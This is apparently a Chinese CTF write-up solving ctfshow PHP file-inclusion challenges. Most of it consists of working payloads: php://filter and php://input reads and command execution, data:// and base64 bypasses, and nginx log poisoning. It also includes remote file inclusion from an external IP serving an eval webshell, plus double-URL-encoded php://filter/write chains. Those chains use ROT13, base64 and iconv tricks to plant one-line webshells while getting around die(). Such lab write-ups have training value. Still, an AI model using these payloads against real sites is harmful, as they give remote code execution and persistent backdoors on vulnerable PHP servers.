78-php&http协议
GET传参,参数为file,没有过滤,直接包含
解法一(filter)
payload: ?file=php://filter/read=convert.base64-encode/resource=flag.php
得到一串base64,解码之后则为flag.php的内容
解法二(input)
payload:
?file=php://input post:<?php system('ls');?>
?file=php://input post:<?php system('tac flag.php');?>//tac和cat都可以
使用input,post里执行php代码,系统命令
解法三(远程文件包含 传shell)
payload: ?file=http://47.99.124.145/1.txt
远程1.txt: <?php @eval($_POST['pass']);?>
在服务器上创建一个1.txt,内容为一句话木马,使用file访问1.txt,解析一句话木马,连接shell
79-data&http协议
php被过滤为???,无法绕过,选择不使用php,使用data://
解法一(data)
file=data://text/plain,<?=system('tac fl*');?>
php被过滤了,这里的<?php system('');?>要写成<?=system('');?>
解法二(data-base64)
payload: ?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCd0YWMgZmxhZy5waHAnKTs/Pg==
先将后面的base64值改为<?php system('ls');?>的base64值,传参执行,在将base64的值改为<?php system('tac flag.php');?>
解法三(远程文件包含 传shell)
payload:
?file=http://47.99.124.145/1.txt
1.txt:
<?php @eval($_POST['pass']);?>
80-日志包含
过滤php,data关键字
ctfshow是nginx服务,日志文件目录/var/log/nginx/access.log
解法一(包含日志文件)
日志文件包含ua信息,我们在ua中插入一句话木马
解法二(远程文件包含)
81-日志包含
过滤php、data、:
解法一(包含日志文件)
包含日志文件可以直接包含马,也可以执行命令
87-php://filter/write&加密编码
分析:
file:GET传参
content:POST传参
过滤php、data、:、.
file_put_contents文件写入(并且进行一次url解码)
绕过die
解法:
我们file传参使用php://filter,在进行url编码
content传参写入ROT13编码后的一句话木马
payload:(要对payload进行二次URL全编码)
php://filter/write=string.rot13/resource=shell.php
Nodepad++可以进行URL全编码
两次URL全编码后Payload
%25%37%30%25%36%38%25%37%30%25%33%41%25%32%46%25%32%46%25%36%36%25%36%39%25%36%43%25%37%34%25%36%35%25%37%32%25%32%46%25%37%37%25%37%32%25%36%39%25%37%34%25%36%35%25%33%44%25%37%33%25%37%34%25%37%32%25%36%39%25%36%45%25%36%37%25%32%45%25%37%32%25%36%46%25%37%34%25%33%31%25%33%33%25%32%46%25%37%32%25%36%35%25%37%33%25%36%46%25%37%35%25%37%32%25%36%33%25%36%35%25%33%44%25%37%33%25%36%38%25%36%35%25%36%43%25%36%43%25%32%45%25%37%30%25%36%38%25%37%30
content:
<?cuc riny($_CBFG['cnff']);?>
shell.php一句话木马成功写入
还可以使用php://filter/write=convert.base64-decode/resource=test.php
<?php eval($_POST['pass']);?>payload:
?file=%25%37%30%25%36%38%25%37%30%25%33%41%25%32%46%25%32%46%25%36%36%25%36%39%25%36%43%25%37%34%25%36%35%25%37%32%25%32%46%25%37%37%25%37%32%25%36%39%25%37%34%25%36%35%25%33%44%25%36%33%25%36%46%25%36%45%25%37%36%25%36%35%25%37%32%25%37%34%25%32%45%25%36%32%25%36%31%25%37%33%25%36%35%25%33%36%25%33%34%25%32%44%25%36%34%25%36%35%25%36%33%25%36%46%25%36%34%25%36%35%25%32%46%25%37%32%25%36%35%25%37%33%25%36%46%25%37%35%25%37%32%25%36%33%25%36%35%25%33%44%25%37%34%25%36%35%25%37%33%25%37%34%25%32%45%25%37%30%25%36%38%25%37%30
content:aaPD9waHAgZXZhbCgkX1BPU1RbJ3Bhc3MnXSk7Pz4=
(前面两个a是因为不加a会报错,字节流不符合)
88-data&base64协议
过滤了很多字符,没有过滤data,使用data-base64绕过
解法
由于直接构造base64编码后也有被过滤的字符,所以我们添加无用字符,使构造后的base64中不含有被过滤字符
116-misc+文件包含
打开是一个mp4文件,下载
放入随波逐流
binwalk发现有一个png
foremost分离出png
file参数,GET传参
过滤了很多关键字,但是有file_get_contents函数读取文件,我们直接传参
?file=flag.php
117-php://filter/write-iconv.UCS-2LE.UCS-2BE
最后的结果是将<?php die();?>和contents的内容写入file
过滤了rot13、base64等,我们使用其他过滤器
绕过死亡die
我们使用convert.iconv过滤器,将正常的die代码转变为不正常的代码,将我们输入的不正常的代码转换为正常代码
php脚本:(用来生成content值)
<?php
$result = iconv("UCS-2LE","UCS-2BE", '<?php eval($_POST[a]);?>');
echo "经过一次反转:".$result."\n";
echo "经过第二次反转:".iconv("UCS-2LE","UCS-2BE", $result);
?>
类似于rot13,经过两次反转之后可以变为原来的内容,因此我们将第一次反转的值写入content,这样在通过filter再写入文件会进行第二次反转,最后写入文件的内容还是<?php eval($_POST[a]);?>,经过第二次反转之后die函数也被破坏,从而绕过die
payload:
file=php://filter/write=convert.iconv.UCS-2LE.UCS-2BE/resource=a.php
contents:?<hp pvela$(P_SO[T]a;)>?